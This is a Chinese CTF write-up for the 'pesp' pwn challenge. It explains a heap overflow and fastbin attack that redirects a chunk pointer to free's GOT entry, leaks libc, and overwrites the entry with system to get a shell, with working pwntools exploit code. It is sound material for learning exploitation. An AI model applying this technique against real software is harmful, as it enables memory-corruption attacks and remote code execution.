pesp-heap_overflow-struct

1.第三种方法,通过堆溢出直接改struct,然后更改结构体chunklist[0].chunk中保存的chunk地址,使其指向free_got_addr,再通过程序中的show函数就可以泄露出free_got_addr中保存的free真实地址,从而获得libc的基地址。当然,这得要求先有一个free来让free的延迟绑定发生。

2.由于这里的chunk地址已经变成free_got_addr,所以当我们修改该chunk的内容时,就相当于修改got表中值,也就修改了真实函数地址的值。这里就可以通过修改该chunk内容来劫持free的got表为system函数真实地址,从而free一个内容为binsh的chunk来getshell。

3.编写exp,增删改查函数就不多说了。

(1)申请三个chunk,先将chunk1释放,之后chunk0用来堆溢出,修改chunk1的fd,进行fastbins攻击,将fakechunk放在struct前面某个位置。这里用到字节错位,原理一样,利用0x7f来攻击fastbins。再连续申请两个chunk,chunk1和chunk3就回来,这里的chunk3就是fakechunk了。现在就可以修改fakechunk从而修改掉chunklist[0].chunk的值,使其指向free_got_addr。从而调用show函数泄露free的真实地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

add(0x60,"\x00"*0x60) #chunk0
add(0x60,"\x11"*0x60) #chunk1
add(0x60,'/bin/sh\x00') #chunk2 binsh

remove(1)
change(0,0x100,flat("\x00"*0x60,p64(0),p64(0x71),p64(bss)))#chunk0_overflow
add(0x60,"\x11"*0x60)#get chunk1
add(0x60,flat("\x00"*0x3,p64(0x100),p64(free_got_addr)))#get fakechunk
show()
io.recvuntil("0 : ")
libc_base = u64(io.recv(6).ljust(8,'\x00')) - libc.sym['free']

(2)再修改chunk0的内容为system真实地址,这样就相当于劫持free的got表,之后释放掉chunk2即可getshell。

1
2
3
4
5
6
7
#注释头

system_libc = libc_base + libc.sym['system']
puts = libc_base + libc.sym['puts']
change(0,0x100,flat(p64(system_libc,),p64(puts)))
remove(2)
io.interactive()

▲需要注意的一点就是,由于read函数读取,所以我们发送数据时一定会有一个\x0a加入进去,这里如果不考虑进入,free函数后面就是put函数,那么就会造成put函数的Got表被更改,从而无法成功调用put函数。而程序在循环体中的菜单部分又一定会调用put函数,那么这样就会造成程序崩溃。所以需要将put函数也加入进去,但是这样又会造成put函数下一个函数被覆盖\x0a。不过不要紧,gdb调试可以看到put函数下一个函数是stack_chk_fail函数,也就是检查canary出错时才会调用。我们有没有栈溢出修改canary,这个函数当然不会被调用,程序就不会崩溃。